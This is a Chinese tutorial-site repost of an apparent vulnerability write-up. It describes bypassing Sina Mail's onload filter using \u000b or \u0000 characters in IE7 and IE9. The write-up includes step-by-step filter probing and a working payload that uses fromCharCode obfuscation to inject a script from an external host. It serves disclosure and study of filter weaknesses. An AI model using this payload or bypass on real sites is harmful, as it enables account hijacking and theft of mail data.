来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 说到00这个东西,大家最熟悉的应该是上传截断,%00之类的。00 通常表示字符串结束, 在C里是\0, JS里通常写为\u0000。关于\0在XSS的应用,好像不算是很多吧,比较有名的 xss list(http:...
说到00这个东西,大家最熟悉的应该是上传截断,%00之类的。 这里我发现在IE7,IE9 (没IE8的机器)中都可以使用\u0000来绕过一些正则,此外本文还发现另外一个特殊的字符,可以绕过某些正则的过滤。在详细说明中会提到。 这里我就用这个技巧,绕过了新浪邮箱里的过滤,成功实现XSS。 PS:感谢粽子同学对此测试的帮助。 <img src='http:// www.2cto.com /logo/CNVDlogo.jpg' onload='alert(1)'> 2. 不出意外, onload='alert(1)'被过滤掉了。 3. 继续测试过滤方式,输入以下代码 <img src='http:// www.2cto.com /logo/CNVDlogo.jpg' onload/='alert(1)'> 4. 看输出 onload\/='alert(1)' 这个可以说明: 新浪不是直接replace掉 onload之类的字符, 5. 经过测试onload空白符=alert('1') 一样会被过滤,可以推出: 大概的正则是 onload\s+=任意连续字符 被过滤为空 6. 根据以上测试结果,我们可以构建一个挑战性的模型如下: onload某个不是空白的字符=alert('1') 7. 构建一个测试页面: 见(http://xssreport.sinaapp.com/toolmao.com/sinamail.htm) 测试内容主要为 <img src=图片 onload某个字符=alert(某个字符ASCII) /> 如果弹出了某个字符,就说明这个字符加在onload后面不影响onload=alert()的运行 8. 测试结果中比较意外的有2个,IE9支持0, IE7和IE9都支持11: 浏览器 onload*=alert 测试结果 IE9: 0,32,13,12,11,10,9 10. 除了0之外, 这个11 (16进制\u000b)确实挺陌生的,9,10,12,13,都是相对常见的。 11. 既然如此,我们测试 \u0000 ,和 \u000b 12. 由于抓包工具,没办法比较直接的发送这类字符,自己写了个工具发送了一下。 "msgtxt":"<img src='http:// www.2cto.com /logo/CNVDlogo.jpg' onload\u000b='-function(){var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,97,112,112,109,97,107,101,114,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(s);}()'></img>", 13. 由于\u0000仅在IE9下有效,这里我用\u000b绕过。 效果见漏洞证明! 14. 这里还得说一下,\u0000 甚至可以写为 xxx.innerHTML="<img on\u0000load='alert(1)'>" 一样可以运行~ WIN7+IE9
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com